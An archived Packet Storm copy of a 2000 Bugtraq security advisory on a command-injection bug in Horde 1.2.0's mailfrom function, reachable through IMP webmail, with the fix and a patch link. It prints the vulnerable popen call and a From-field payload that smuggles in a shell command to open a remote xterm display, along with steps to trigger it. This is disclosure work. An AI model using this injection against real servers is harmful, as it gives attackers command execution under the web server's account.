exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

horde.txt

horde.txt
Posted Sep 11, 2000

The $from-bug is in the horde library file 'horde.lib', (on debian systems installed in /usr/share/horde/lib/horde.lib) in line 1108 belonging to function "mailfrom". In this file there is a call to "popen" with an unchecked "from:"-line as argument. Bug found and exploited by Jens "atomi" Steube, fixed and documentated by Christian "thepoet" Winter

tags | exploit
systems | linux, debian
SHA-256 | 26f093926bfd1dd43f634cf8d0562c202fcf591bde428c8157fc922d25f3a850

horde.txt

Change Mirror Download
Date:         Fri, 8 Sep 2000 17:03:36 +0200
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: "Winter, Christian" <Christian.Winter@COC-AG.DE>
Subject: horde library bug - unchecked from-address
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

this bug we discovered recently.

***** HORDE 1.2.0 $from-bug and how to exploit with IMP 2.2.0 ******


Disclaimer:
This is intended as a paper for sysadmins who want to secure
their systems. It is NOT a how to for scriptkiddies to run
any attack on a IMP-using site.

The authors of this text will not be held responsible for
any damage resulting from others using the documented exploits
for attacking or invading 3rd parties' computers or networks.


Release Date:
08/09/2000


Authors:
Bug found and exploited by Jens "atomi" Steube <js@coc-ag.net>
Fixed and documentated by Christian "thepoet" Winter
<cw@coc-ag.net>


Affected
Versions:
The bug was found in the horde library code of Horde 1.2.0.

Other versions haven't been checked yet. If you are in doubt
that
your version is also buggy, please contact the horde authors as
described on http://horde.org.



Description:
The $from-bug is in the horde library file 'horde.lib',
(on debian systems installed in /usr/share/horde/lib/horde.lib)
in line 1108 belonging to function "mailfrom". In this file
there is a call to "popen" with an unchecked "from:"-line as
argument. Exact syntax is:

$mail = popen("$default->path_to_sendmail -i -f$from --
$recipients", 'w');

If the user passes a string containing the "&" char to the
function as
$from, commands can be executed under the uid and gid the
webserver is
running as.



Exploit:
Usually the horde.lib/mailfrom function is called by
the IMP webmail interface. As IMP also does not check for
the "&" char, it is passed on to popen(). There are also
some other software-projects using the hordelib - they
also could be exploited by the same means.

1) Just open an IMP and press Compose to write a new mail
2) As your From-EMail Adress an exploit $from-line could be:

&"/usr/X11R6/bin/xterm -display 127.0.0.1:0.0"&

(Remember most people should replace 127.0.0.1 with their own IP
and also verify the path to xterm)

or any other command you want.

3) enter a recipient
4) Send message, done.



Fix:
The horde library already provides a function that prevents this
kind of exploits, called "escapeShellCmd". It is used with the
"$recipients" var but not with "$from".

To secure the installed horde it is sufficient to add the
following
line 1108 in /usr/share/horde/lib/horde.lib:

$from = escapeShellCmd( $from );

or download a patch form:

http://ssl.coc-ag.de/sec/hordelib-1.2.0.frombug.patch


****************************************************************************
******

Greetings
Christian

--
thepoet <cw@coc-ag.net>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close